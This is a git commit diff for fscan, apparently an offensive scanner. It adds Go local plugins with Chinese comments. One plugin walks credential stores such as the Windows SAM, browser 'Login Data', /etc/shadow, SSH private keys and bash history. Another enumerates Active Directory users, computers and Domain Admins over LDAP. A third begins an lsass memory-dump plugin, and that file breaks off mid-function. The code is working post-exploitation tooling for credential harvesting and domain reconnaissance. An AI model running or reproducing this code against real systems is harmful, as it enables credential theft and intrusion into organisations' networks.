feat: 实现本地插件架构迁移与统一管理

- 新建本地插件统一架构,包含接口定义和基础类
- 实现三个本地插件:fileinfo(文件信息收集)、dcinfo(域控信息收集)、minidump(内存转储)
- 添加-localplugin参数,支持指定单个本地插件执行
- 完善参数验证机制,本地模式必须指定插件
- 集成新插件系统到核心扫描策略
- 修复Go方法调用机制导致的插件执行问题
- 支持跨平台和权限检查功能

支持的本地插件:
- fileinfo: 敏感文件扫描
- dcinfo: Windows域控信息收集
- minidump: lsass进程内存转储

使用方式: fscan -local -localplugin <plugin_name>
This commit is contained in:
ZacharyZcR 2025-08-09 22:43:09 +08:00
parent 4714d27d44
commit eeaa4c3b3a
12 changed files with 1634 additions and 2 deletions

View File

@ -149,6 +149,7 @@ func Flag(Info *HostInfo) {
flag.BoolVar(&DisablePing, "np", false, i18n.GetText("flag_disable_ping"))
flag.BoolVar(&EnableFingerprint, "fingerprint", false, i18n.GetText("flag_enable_fingerprint"))
flag.BoolVar(&LocalMode, "local", false, i18n.GetText("flag_local_mode"))
flag.StringVar(&LocalPlugin, "localplugin", "", i18n.GetText("flag_local_plugin"))
flag.BoolVar(&AliveOnly, "ao", false, i18n.GetText("flag_alive_only"))
// ═════════════════════════════════════════════════
@ -233,6 +234,9 @@ func Flag(Info *HostInfo) {
// 更新进度条显示状态
ShowProgress = !DisableProgress
// 同步配置到core包
SyncToCore()
// 如果显示帮助或者没有提供目标,显示帮助信息并退出
if showHelp || shouldShowHelp(Info) {
flag.Usage()
@ -334,7 +338,12 @@ func preProcessLanguage() {
// shouldShowHelp 检查是否应该显示帮助信息
func shouldShowHelp(Info *HostInfo) bool {
// 检查是否提供了扫描目标
hasTarget := Info.Host != "" || TargetURL != "" || LocalMode
hasTarget := Info.Host != "" || TargetURL != ""
// 本地模式需要指定插件才算有效目标
if LocalMode && LocalPlugin != "" {
hasTarget = true
}
// 如果没有提供任何扫描目标,则显示帮助
if !hasTarget {
@ -350,4 +359,35 @@ func checkParameterConflicts() {
if AliveOnly && ScanMode == "icmp" {
LogBase(i18n.GetText("param_conflict_ao_icmp_both"))
}
// 检查本地模式和本地插件参数
if LocalMode {
if LocalPlugin == "" {
fmt.Printf("错误: 使用本地扫描模式 (-local) 时必须指定一个本地插件 (-localplugin)\n")
fmt.Printf("可用的本地插件: fileinfo, dcinfo, minidump\n")
os.Exit(1)
}
// 验证本地插件名称
validPlugins := []string{"fileinfo", "dcinfo", "minidump"}
isValid := false
for _, valid := range validPlugins {
if LocalPlugin == valid {
isValid = true
break
}
}
if !isValid {
fmt.Printf("错误: 无效的本地插件 '%s'\n", LocalPlugin)
fmt.Printf("可用的本地插件: fileinfo, dcinfo, minidump\n")
os.Exit(1)
}
}
// 如果指定了本地插件但未启用本地模式
if !LocalMode && LocalPlugin != "" {
fmt.Printf("错误: 指定本地插件 (-localplugin) 时必须启用本地模式 (-local)\n")
os.Exit(1)
}
}

View File

@ -17,6 +17,7 @@ var (
Timeout int64 // 超时时间
DisablePing bool // 禁用ping
LocalMode bool // 本地模式
LocalPlugin string // 本地插件选择
// 基础认证配置
Username string // 用户名

View File

@ -40,6 +40,7 @@ var (
Timeout int64 // 直接映射到base.Timeout
DisablePing bool // 直接映射到base.DisablePing
LocalMode bool // 直接映射到base.LocalMode
LocalPlugin string // 本地插件选择
AliveOnly bool // 仅存活探测模式
)
@ -105,6 +106,7 @@ func SyncFromCore() {
Timeout = base.Timeout
DisablePing = base.DisablePing
LocalMode = base.LocalMode
LocalPlugin = base.LocalPlugin
Username = base.Username
Password = base.Password
@ -129,6 +131,7 @@ func SyncToCore() {
base.Timeout = Timeout
base.DisablePing = DisablePing
base.LocalMode = LocalMode
base.LocalPlugin = LocalPlugin
base.Username = Username
base.Password = Password

View File

@ -45,6 +45,16 @@ func NewBaseScanStrategy(name string, filterType PluginFilterType) *BaseScanStra
// GetPlugins 获取插件列表(通用实现)
func (b *BaseScanStrategy) GetPlugins() ([]string, bool) {
// 本地模式优先使用LocalPlugin参数
if b.filterType == FilterLocal && common.LocalPlugin != "" {
if GlobalPluginAdapter.PluginExists(common.LocalPlugin) {
return []string{common.LocalPlugin}, true
} else {
common.LogError(fmt.Sprintf("指定的本地插件 '%s' 不存在", common.LocalPlugin))
return []string{}, true
}
}
// 如果指定了特定插件且不是"all"
if common.ScanMode != "" && common.ScanMode != "all" {
requestedPlugins := parsePluginList(common.ScanMode)

View File

@ -91,8 +91,13 @@ func (pa *PluginAdapter) ScanWithPlugin(pluginName string, info *common.HostInfo
}
// 处理扫描结果
if result != nil && result.Success {
if result == nil {
common.LogDebug(fmt.Sprintf("插件 %s 返回了空结果", pluginName))
} else if result.Success {
common.LogDebug(fmt.Sprintf("插件 %s 扫描成功", pluginName))
// TODO: 输出扫描结果
} else {
common.LogDebug(fmt.Sprintf("插件 %s 扫描失败: %v", pluginName, result.Error))
}
return nil

163
Plugins/local/connector.go Normal file
View File

@ -0,0 +1,163 @@
package local
import (
"context"
"fmt"
"os"
"runtime"
"path/filepath"
"github.com/shadow1ng/fscan/common"
)
// BaseLocalConnector 基础本地连接器实现
type BaseLocalConnector struct {
workingDir string
homeDir string
systemInfo map[string]string
}
// LocalConnection 本地连接对象
type LocalConnection struct {
WorkingDir string
HomeDir string
SystemInfo map[string]string
TempDir string
}
// NewBaseLocalConnector 创建基础本地连接器
func NewBaseLocalConnector() (*BaseLocalConnector, error) {
homeDir, err := os.UserHomeDir()
if err != nil {
return nil, err
}
workingDir, err := os.Getwd()
if err != nil {
return nil, err
}
return &BaseLocalConnector{
workingDir: workingDir,
homeDir: homeDir,
systemInfo: make(map[string]string),
}, nil
}
// Connect 建立本地连接
func (c *BaseLocalConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
// 初始化系统信息
c.initSystemInfo()
tempDir := os.TempDir()
conn := &LocalConnection{
WorkingDir: c.workingDir,
HomeDir: c.homeDir,
SystemInfo: c.systemInfo,
TempDir: tempDir,
}
return conn, nil
}
// Close 关闭连接
func (c *BaseLocalConnector) Close(conn interface{}) error {
// 本地连接无需特殊关闭操作
return nil
}
// GetSystemInfo 获取系统信息
func (c *BaseLocalConnector) GetSystemInfo(conn interface{}) (map[string]string, error) {
localConn, ok := conn.(*LocalConnection)
if !ok {
return nil, fmt.Errorf("无效的连接类型")
}
return localConn.SystemInfo, nil
}
// initSystemInfo 初始化系统信息
func (c *BaseLocalConnector) initSystemInfo() {
c.systemInfo["os"] = runtime.GOOS
c.systemInfo["arch"] = runtime.GOARCH
c.systemInfo["home_dir"] = c.homeDir
c.systemInfo["working_dir"] = c.workingDir
c.systemInfo["temp_dir"] = os.TempDir()
// 获取用户名
if username := os.Getenv("USER"); username != "" {
c.systemInfo["username"] = username
} else if username := os.Getenv("USERNAME"); username != "" {
c.systemInfo["username"] = username
}
// 获取主机名
if hostname, err := os.Hostname(); err == nil {
c.systemInfo["hostname"] = hostname
}
}
// GetCommonDirectories 获取常见目录路径
func (c *BaseLocalConnector) GetCommonDirectories() []string {
var dirs []string
switch runtime.GOOS {
case "windows":
dirs = []string{
c.homeDir,
filepath.Join(c.homeDir, "Desktop"),
filepath.Join(c.homeDir, "Documents"),
filepath.Join(c.homeDir, "Downloads"),
"C:\\Users\\Public\\Documents",
"C:\\Users\\Public\\Desktop",
"C:\\Program Files",
"C:\\Program Files (x86)",
}
case "linux", "darwin":
dirs = []string{
c.homeDir,
filepath.Join(c.homeDir, "Desktop"),
filepath.Join(c.homeDir, "Documents"),
filepath.Join(c.homeDir, "Downloads"),
"/opt",
"/usr/local",
"/var/www",
"/var/log",
}
}
return dirs
}
// GetSensitiveFiles 获取敏感文件路径
func (c *BaseLocalConnector) GetSensitiveFiles() []string {
var files []string
switch runtime.GOOS {
case "windows":
files = []string{
"C:\\boot.ini",
"C:\\windows\\system32\\inetsrv\\MetaBase.xml",
"C:\\windows\\repair\\sam",
"C:\\windows\\system32\\config\\sam",
filepath.Join(c.homeDir, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"),
filepath.Join(c.homeDir, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"),
filepath.Join(c.homeDir, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"),
}
case "linux", "darwin":
files = []string{
"/etc/passwd",
"/etc/shadow",
"/etc/hosts",
"/etc/ssh/ssh_config",
"/root/.ssh/id_rsa",
"/root/.ssh/authorized_keys",
"/root/.bash_history",
filepath.Join(c.homeDir, ".ssh/id_rsa"),
filepath.Join(c.homeDir, ".ssh/authorized_keys"),
filepath.Join(c.homeDir, ".bash_history"),
}
}
return files
}

View File

@ -0,0 +1,453 @@
//go:build windows
package dcinfo
import (
"context"
"fmt"
"github.com/go-ldap/ldap/v3"
"github.com/go-ldap/ldap/v3/gssapi"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
"github.com/shadow1ng/fscan/plugins/local"
"os/exec"
"strings"
)
// DCInfoPlugin 域控信息收集插件
type DCInfoPlugin struct {
*local.BaseLocalPlugin
connector *DCInfoConnector
}
// DCInfoConnector 域控信息连接器
type DCInfoConnector struct {
*local.BaseLocalConnector
conn *ldap.Conn
baseDN string
}
// DomainConnection 域连接对象
type DomainConnection struct {
*local.LocalConnection
LDAPConn *ldap.Conn
BaseDN string
Domain string
}
// NewDCInfoPlugin 创建域控信息收集插件
func NewDCInfoPlugin() *DCInfoPlugin {
metadata := &base.PluginMetadata{
Name: "dcinfo",
Version: "1.0.0",
Author: "fscan-team",
Description: "Windows域控制器信息收集插件",
Category: "local",
Tags: []string{"local", "domain", "ldap", "windows"},
Protocols: []string{"local"},
}
connector := NewDCInfoConnector()
plugin := &DCInfoPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
connector: connector,
}
// 仅支持Windows平台
plugin.SetPlatformSupport([]string{"windows"})
// 需要域环境权限
plugin.SetRequiresPrivileges(false) // 使用当前用户凭据
return plugin
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *DCInfoPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return p.ScanLocal(ctx, info)
}
// NewDCInfoConnector 创建域控信息连接器
func NewDCInfoConnector() *DCInfoConnector {
baseConnector, _ := local.NewBaseLocalConnector()
return &DCInfoConnector{
BaseLocalConnector: baseConnector,
}
}
// Connect 建立域控连接
func (c *DCInfoConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
// 先建立基础本地连接
localConn, err := c.BaseLocalConnector.Connect(ctx, info)
if err != nil {
return nil, err
}
baseConn := localConn.(*local.LocalConnection)
// 获取域控制器地址
dcHost, domain, err := c.getDomainController()
if err != nil {
return nil, fmt.Errorf("获取域控制器失败: %v", err)
}
// 建立LDAP连接
ldapConn, baseDN, err := c.connectToLDAP(dcHost, domain)
if err != nil {
return nil, fmt.Errorf("LDAP连接失败: %v", err)
}
domainConn := &DomainConnection{
LocalConnection: baseConn,
LDAPConn: ldapConn,
BaseDN: baseDN,
Domain: domain,
}
return domainConn, nil
}
// Close 关闭域控连接
func (c *DCInfoConnector) Close(conn interface{}) error {
if domainConn, ok := conn.(*DomainConnection); ok {
if domainConn.LDAPConn != nil {
domainConn.LDAPConn.Close()
}
}
return c.BaseLocalConnector.Close(conn)
}
// getDomainController 获取域控制器地址
func (c *DCInfoConnector) getDomainController() (string, string, error) {
common.LogDebug("开始查询域控制器地址...")
// 使用wmic获取域名
cmd := exec.Command("wmic", "computersystem", "get", "domain")
output, err := cmd.Output()
if err != nil {
return "", "", fmt.Errorf("获取域名失败: %v", err)
}
lines := strings.Split(string(output), "\n")
if len(lines) < 2 {
return "", "", fmt.Errorf("未找到域名")
}
domain := strings.TrimSpace(lines[1])
if domain == "" || domain == "WORKGROUP" {
return "", "", fmt.Errorf("当前机器未加入域")
}
common.LogDebug(fmt.Sprintf("获取到域名: %s", domain))
// 使用nslookup查询域控制器
cmd = exec.Command("nslookup", "-type=SRV", fmt.Sprintf("_ldap._tcp.dc._msdcs.%s", domain))
output, err = cmd.Output()
if err != nil {
return "", "", fmt.Errorf("查询域控制器失败: %v", err)
}
// 解析nslookup输出
lines = strings.Split(string(output), "\n")
for _, line := range lines {
if strings.Contains(line, "svr hostname") {
parts := strings.Split(line, "=")
if len(parts) > 1 {
dcHost := strings.TrimSpace(parts[1])
dcHost = strings.TrimSuffix(dcHost, ".")
common.LogSuccess(fmt.Sprintf("找到域控制器: %s", dcHost))
return dcHost, domain, nil
}
}
}
// 备选方案:使用域名直接构造
dcHost := fmt.Sprintf("dc.%s", domain)
return dcHost, domain, nil
}
// connectToLDAP 连接到LDAP服务器
func (c *DCInfoConnector) connectToLDAP(dcHost, domain string) (*ldap.Conn, string, error) {
// 创建SSPI客户端
ldapClient, err := gssapi.NewSSPIClient()
if err != nil {
return nil, "", fmt.Errorf("创建SSPI客户端失败: %v", err)
}
defer ldapClient.Close()
// 创建LDAP连接
conn, err := ldap.DialURL(fmt.Sprintf("ldap://%s:389", dcHost))
if err != nil {
return nil, "", fmt.Errorf("LDAP连接失败: %v", err)
}
// 使用GSSAPI进行绑定
err = conn.GSSAPIBind(ldapClient, fmt.Sprintf("ldap/%s", dcHost), "")
if err != nil {
conn.Close()
return nil, "", fmt.Errorf("GSSAPI绑定失败: %v", err)
}
// 获取BaseDN
baseDN, err := c.getBaseDN(conn, domain)
if err != nil {
conn.Close()
return nil, "", err
}
return conn, baseDN, nil
}
// getBaseDN 获取BaseDN
func (c *DCInfoConnector) getBaseDN(conn *ldap.Conn, domain string) (string, error) {
searchRequest := ldap.NewSearchRequest(
"",
ldap.ScopeBaseObject,
ldap.NeverDerefAliases,
0, 0, false,
"(objectClass=*)",
[]string{"defaultNamingContext"},
nil,
)
result, err := conn.Search(searchRequest)
if err != nil {
return "", fmt.Errorf("获取defaultNamingContext失败: %v", err)
}
if len(result.Entries) == 0 {
// 备选方案从域名构造BaseDN
parts := strings.Split(domain, ".")
var dn []string
for _, part := range parts {
dn = append(dn, fmt.Sprintf("DC=%s", part))
}
return strings.Join(dn, ","), nil
}
baseDN := result.Entries[0].GetAttributeValue("defaultNamingContext")
if baseDN == "" {
return "", fmt.Errorf("获取BaseDN失败")
}
return baseDN, nil
}
// ScanLocal 执行域控信息扫描
func (p *DCInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogBase("开始域控制器信息收集...")
// 建立域控连接
conn, err := p.connector.Connect(ctx, info)
if err != nil {
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("域控连接失败: %v", err),
}, nil
}
defer p.connector.Close(conn)
domainConn := conn.(*DomainConnection)
// 收集域信息
domainData := make(map[string]interface{})
// 获取特殊计算机
if specialComputers, err := p.getSpecialComputers(domainConn); err == nil {
domainData["special_computers"] = specialComputers
}
// 获取域用户
if users, err := p.getDomainUsers(domainConn); err == nil {
domainData["domain_users"] = users
}
// 获取域管理员
if admins, err := p.getDomainAdmins(domainConn); err == nil {
domainData["domain_admins"] = admins
}
// 获取计算机信息
if computers, err := p.getComputers(domainConn); err == nil {
domainData["computers"] = computers
}
result := &base.ScanResult{
Success: len(domainData) > 0,
Service: "DCInfo",
Banner: fmt.Sprintf("域: %s", domainConn.Domain),
Extra: domainData,
}
common.LogSuccess("域控制器信息收集完成")
return result, nil
}
// getSpecialComputers 获取特殊计算机
func (p *DCInfoPlugin) getSpecialComputers(conn *DomainConnection) (map[string][]string, error) {
results := make(map[string][]string)
// 获取域控制器
dcQuery := ldap.NewSearchRequest(
conn.BaseDN,
ldap.ScopeWholeSubtree,
ldap.NeverDerefAliases,
0, 0, false,
"(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))",
[]string{"cn"},
nil,
)
if sr, err := conn.LDAPConn.SearchWithPaging(dcQuery, 10000); err == nil {
var dcs []string
for _, entry := range sr.Entries {
if name := entry.GetAttributeValue("cn"); name != "" {
dcs = append(dcs, name)
}
}
if len(dcs) > 0 {
results["域控制器"] = dcs
common.LogSuccess(fmt.Sprintf("发现 %d 个域控制器", len(dcs)))
}
}
return results, nil
}
// getDomainUsers 获取域用户
func (p *DCInfoPlugin) getDomainUsers(conn *DomainConnection) ([]string, error) {
searchRequest := ldap.NewSearchRequest(
conn.BaseDN,
ldap.ScopeWholeSubtree,
ldap.NeverDerefAliases,
0, 0, false,
"(&(objectCategory=person)(objectClass=user))",
[]string{"sAMAccountName"},
nil,
)
sr, err := conn.LDAPConn.SearchWithPaging(searchRequest, 1000) // 限制返回数量
if err != nil {
return nil, err
}
var users []string
for _, entry := range sr.Entries {
if username := entry.GetAttributeValue("sAMAccountName"); username != "" {
users = append(users, username)
}
}
if len(users) > 0 {
common.LogSuccess(fmt.Sprintf("发现 %d 个域用户", len(users)))
}
return users, nil
}
// getDomainAdmins 获取域管理员
func (p *DCInfoPlugin) getDomainAdmins(conn *DomainConnection) ([]string, error) {
searchRequest := ldap.NewSearchRequest(
conn.BaseDN,
ldap.ScopeWholeSubtree,
ldap.NeverDerefAliases,
0, 0, false,
"(&(objectCategory=group)(cn=Domain Admins))",
[]string{"member"},
nil,
)
sr, err := conn.LDAPConn.SearchWithPaging(searchRequest, 10000)
if err != nil {
return nil, err
}
var admins []string
if len(sr.Entries) > 0 {
members := sr.Entries[0].GetAttributeValues("member")
for _, memberDN := range members {
// 简化仅提取CN部分
if parts := strings.Split(memberDN, ","); len(parts) > 0 {
if cnPart := parts[0]; strings.HasPrefix(cnPart, "CN=") {
adminName := strings.TrimPrefix(cnPart, "CN=")
admins = append(admins, adminName)
}
}
}
}
if len(admins) > 0 {
common.LogSuccess(fmt.Sprintf("发现 %d 个域管理员", len(admins)))
}
return admins, nil
}
// getComputers 获取域计算机
func (p *DCInfoPlugin) getComputers(conn *DomainConnection) ([]map[string]string, error) {
searchRequest := ldap.NewSearchRequest(
conn.BaseDN,
ldap.ScopeWholeSubtree,
ldap.NeverDerefAliases,
0, 0, false,
"(&(objectClass=computer))",
[]string{"cn", "operatingSystem", "dNSHostName"},
nil,
)
sr, err := conn.LDAPConn.SearchWithPaging(searchRequest, 1000) // 限制返回数量
if err != nil {
return nil, err
}
var computers []map[string]string
for _, entry := range sr.Entries {
computer := map[string]string{
"name": entry.GetAttributeValue("cn"),
"os": entry.GetAttributeValue("operatingSystem"),
"dns": entry.GetAttributeValue("dNSHostName"),
}
computers = append(computers, computer)
}
if len(computers) > 0 {
common.LogSuccess(fmt.Sprintf("发现 %d 台域计算机", len(computers)))
}
return computers, nil
}
// GetLocalData 获取域本地数据
func (p *DCInfoPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
data := make(map[string]interface{})
data["plugin_type"] = "dcinfo"
data["requires_domain"] = true
return data, nil
}
// ExtractData 提取域数据
func (p *DCInfoPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
return &base.ExploitResult{
Success: true,
Output: "域控信息收集完成",
Data: data,
}, nil
}
// 插件注册函数
func init() {
base.GlobalPluginRegistry.Register("dcinfo", base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "dcinfo",
Version: "1.0.0",
Author: "fscan-team",
Description: "Windows域控制器信息收集插件",
Category: "local",
Tags: []string{"local", "domain", "ldap", "windows"},
Protocols: []string{"local"},
},
func() base.Plugin {
return NewDCInfoPlugin()
},
))
}

View File

@ -0,0 +1,275 @@
package fileinfo
import (
"context"
"fmt"
"os"
"path/filepath"
"runtime"
"strings"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
"github.com/shadow1ng/fscan/plugins/local"
)
// FileInfoPlugin 文件信息收集插件
type FileInfoPlugin struct {
*local.BaseLocalPlugin
connector *FileInfoConnector
// 配置选项
blacklist []string
whitelist []string
}
// FileInfoConnector 文件信息连接器
type FileInfoConnector struct {
*local.BaseLocalConnector
sensitiveFiles []string
searchDirs []string
}
// NewFileInfoPlugin 创建文件信息收集插件
func NewFileInfoPlugin() *FileInfoPlugin {
metadata := &base.PluginMetadata{
Name: "fileinfo",
Version: "1.0.0",
Author: "fscan-team",
Description: "本地敏感文件信息收集插件",
Category: "local",
Tags: []string{"local", "fileinfo", "sensitive"},
Protocols: []string{"local"},
}
connector := NewFileInfoConnector()
plugin := &FileInfoPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
connector: connector,
blacklist: []string{
".exe", ".dll", ".png", ".jpg", ".bmp", ".xml", ".bin",
".dat", ".manifest", "locale", "winsxs", "windows\\sys",
},
whitelist: []string{
"密码", "账号", "账户", "配置", "服务器",
"数据库", "备忘", "常用", "通讯录",
"password", "config", "credential", "key", "secret",
},
}
// 设置平台支持
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
return plugin
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *FileInfoPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return p.ScanLocal(ctx, info)
}
// NewFileInfoConnector 创建文件信息连接器
func NewFileInfoConnector() *FileInfoConnector {
baseConnector, _ := local.NewBaseLocalConnector()
connector := &FileInfoConnector{
BaseLocalConnector: baseConnector,
}
connector.initSensitiveFiles()
return connector
}
// initSensitiveFiles 初始化敏感文件列表
func (c *FileInfoConnector) initSensitiveFiles() {
switch runtime.GOOS {
case "windows":
c.sensitiveFiles = []string{
"C:\\boot.ini",
"C:\\windows\\systems32\\inetsrv\\MetaBase.xml",
"C:\\windows\\repair\\sam",
"C:\\windows\\system32\\config\\sam",
}
if homeDir := c.GetCommonDirectories()[0]; homeDir != "" {
c.sensitiveFiles = append(c.sensitiveFiles, []string{
filepath.Join(homeDir, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"),
filepath.Join(homeDir, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"),
filepath.Join(homeDir, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"),
}...)
}
case "linux", "darwin":
c.sensitiveFiles = []string{
"/etc/apache/httpd.conf",
"/etc/httpd/conf/httpd.conf",
"/etc/nginx/nginx.conf",
"/etc/hosts.deny",
"/etc/ssh/ssh_config",
"/etc/resolv.conf",
"/root/.ssh/authorized_keys",
"/root/.ssh/id_rsa",
"/root/.bash_history",
}
}
c.searchDirs = c.GetCommonDirectories()
}
// ScanLocal 执行本地文件扫描
func (p *FileInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogBase("开始本地敏感文件扫描...")
// 建立连接
conn, err := p.connector.Connect(ctx, info)
if err != nil {
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("连接失败: %v", err),
}, nil
}
defer p.connector.Close(conn)
foundFiles := make([]string, 0)
// 扫描固定位置的敏感文件
common.LogDebug("扫描固定敏感文件位置...")
for _, file := range p.connector.sensitiveFiles {
if p.checkFile(file) {
foundFiles = append(foundFiles, file)
common.LogSuccess(fmt.Sprintf("发现敏感文件: %s", file))
}
}
// 根据规则搜索敏感文件
common.LogDebug("按规则搜索敏感文件...")
searchFiles := p.searchSensitiveFiles()
foundFiles = append(foundFiles, searchFiles...)
result := &base.ScanResult{
Success: len(foundFiles) > 0,
Service: "FileInfo",
Banner: fmt.Sprintf("发现 %d 个敏感文件", len(foundFiles)),
Extra: map[string]interface{}{
"files": foundFiles,
"total_count": len(foundFiles),
"platform": runtime.GOOS,
},
}
if len(foundFiles) > 0 {
common.LogSuccess(fmt.Sprintf("本地文件扫描完成,共发现 %d 个敏感文件", len(foundFiles)))
} else {
common.LogDebug("未发现敏感文件")
}
return result, nil
}
// GetLocalData 获取本地文件数据
func (p *FileInfoPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
data := make(map[string]interface{})
// 获取系统信息
data["platform"] = runtime.GOOS
data["arch"] = runtime.GOARCH
if homeDir, err := os.UserHomeDir(); err == nil {
data["home_dir"] = homeDir
}
if workDir, err := os.Getwd(); err == nil {
data["work_dir"] = workDir
}
return data, nil
}
// ExtractData 提取敏感文件数据
func (p *FileInfoPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
// 文件信息收集插件主要是扫描,不进行深度利用
return &base.ExploitResult{
Success: true,
Output: "文件信息收集完成",
Data: data,
}, nil
}
// checkFile 检查文件是否存在
func (p *FileInfoPlugin) checkFile(path string) bool {
if _, err := os.Stat(path); err == nil {
return true
}
return false
}
// searchSensitiveFiles 搜索敏感文件
func (p *FileInfoPlugin) searchSensitiveFiles() []string {
var foundFiles []string
for _, searchPath := range p.connector.searchDirs {
filepath.Walk(searchPath, func(path string, info os.FileInfo, err error) error {
if err != nil {
return nil
}
// 跳过黑名单文件
if p.isBlacklisted(path) {
if info.IsDir() {
return filepath.SkipDir
}
return nil
}
// 检查白名单关键词
if p.isWhitelisted(info.Name()) {
foundFiles = append(foundFiles, path)
common.LogSuccess(fmt.Sprintf("发现潜在敏感文件: %s", path))
}
return nil
})
}
return foundFiles
}
// isBlacklisted 检查是否在黑名单中
func (p *FileInfoPlugin) isBlacklisted(path string) bool {
pathLower := strings.ToLower(path)
for _, black := range p.blacklist {
if strings.Contains(pathLower, black) {
return true
}
}
return false
}
// isWhitelisted 检查是否匹配白名单
func (p *FileInfoPlugin) isWhitelisted(filename string) bool {
filenameLower := strings.ToLower(filename)
for _, white := range p.whitelist {
if strings.Contains(filenameLower, white) {
return true
}
}
return false
}
// 插件注册函数
func init() {
base.GlobalPluginRegistry.Register("fileinfo", base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "fileinfo",
Version: "1.0.0",
Author: "fscan-team",
Description: "本地敏感文件信息收集插件",
Category: "local",
Tags: []string{"local", "fileinfo", "sensitive"},
Protocols: []string{"local"},
},
func() base.Plugin {
return NewFileInfoPlugin()
},
))
}

View File

@ -0,0 +1,54 @@
package local
import (
"context"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
)
// LocalConnector 本地信息收集连接器接口
type LocalConnector interface {
// Connect 建立本地连接(实际上是初始化本地环境)
Connect(ctx context.Context, info *common.HostInfo) (interface{}, error)
// Close 关闭连接和清理资源
Close(conn interface{}) error
// GetSystemInfo 获取系统信息
GetSystemInfo(conn interface{}) (map[string]string, error)
}
// LocalScanner 本地扫描器接口
type LocalScanner interface {
base.Scanner
// ScanLocal 执行本地扫描
ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error)
// GetLocalData 获取本地数据
GetLocalData(ctx context.Context) (map[string]interface{}, error)
}
// LocalExploiter 本地信息提取器接口
type LocalExploiter interface {
base.Exploiter
// ExtractData 提取本地数据
ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error)
}
// LocalPlugin 本地插件接口
type LocalPlugin interface {
base.Plugin
LocalScanner
LocalExploiter
// GetLocalConnector 获取本地连接器
GetLocalConnector() LocalConnector
// GetPlatformSupport 获取支持的平台
GetPlatformSupport() []string
// RequiresPrivileges 是否需要特殊权限
RequiresPrivileges() bool
}

View File

@ -0,0 +1,468 @@
//go:build windows
package minidump
import (
"context"
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
"github.com/shadow1ng/fscan/plugins/local"
"golang.org/x/sys/windows"
"os"
"path/filepath"
"syscall"
"unsafe"
)
const (
TH32CS_SNAPPROCESS = 0x00000002
INVALID_HANDLE_VALUE = ^uintptr(0)
MAX_PATH = 260
PROCESS_ALL_ACCESS = 0x1F0FFF
SE_PRIVILEGE_ENABLED = 0x00000002
)
type PROCESSENTRY32 struct {
dwSize uint32
cntUsage uint32
th32ProcessID uint32
th32DefaultHeapID uintptr
th32ModuleID uint32
cntThreads uint32
th32ParentProcessID uint32
pcPriClassBase int32
dwFlags uint32
szExeFile [MAX_PATH]uint16
}
type LUID struct {
LowPart uint32
HighPart int32
}
type LUID_AND_ATTRIBUTES struct {
Luid LUID
Attributes uint32
}
type TOKEN_PRIVILEGES struct {
PrivilegeCount uint32
Privileges [1]LUID_AND_ATTRIBUTES
}
// MiniDumpPlugin 内存转储插件
type MiniDumpPlugin struct {
*local.BaseLocalPlugin
connector *MiniDumpConnector
}
// MiniDumpConnector 内存转储连接器
type MiniDumpConnector struct {
*local.BaseLocalConnector
kernel32 *syscall.DLL
dbghelp *syscall.DLL
advapi32 *syscall.DLL
}
// ProcessManager Windows进程管理器
type ProcessManager struct {
kernel32 *syscall.DLL
dbghelp *syscall.DLL
advapi32 *syscall.DLL
}
// NewMiniDumpPlugin 创建内存转储插件
func NewMiniDumpPlugin() *MiniDumpPlugin {
metadata := &base.PluginMetadata{
Name: "minidump",
Version: "1.0.0",
Author: "fscan-team",
Description: "Windows进程内存转储插件",
Category: "local",
Tags: []string{"local", "memory", "dump", "lsass", "windows"},
Protocols: []string{"local"},
}
connector := NewMiniDumpConnector()
plugin := &MiniDumpPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
connector: connector,
}
// 仅支持Windows平台
plugin.SetPlatformSupport([]string{"windows"})
// 需要管理员权限
plugin.SetRequiresPrivileges(true)
return plugin
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return p.ScanLocal(ctx, info)
}
// NewMiniDumpConnector 创建内存转储连接器
func NewMiniDumpConnector() *MiniDumpConnector {
baseConnector, _ := local.NewBaseLocalConnector()
return &MiniDumpConnector{
BaseLocalConnector: baseConnector,
}
}
// Connect 建立内存转储连接
func (c *MiniDumpConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
// 先建立基础本地连接
localConn, err := c.BaseLocalConnector.Connect(ctx, info)
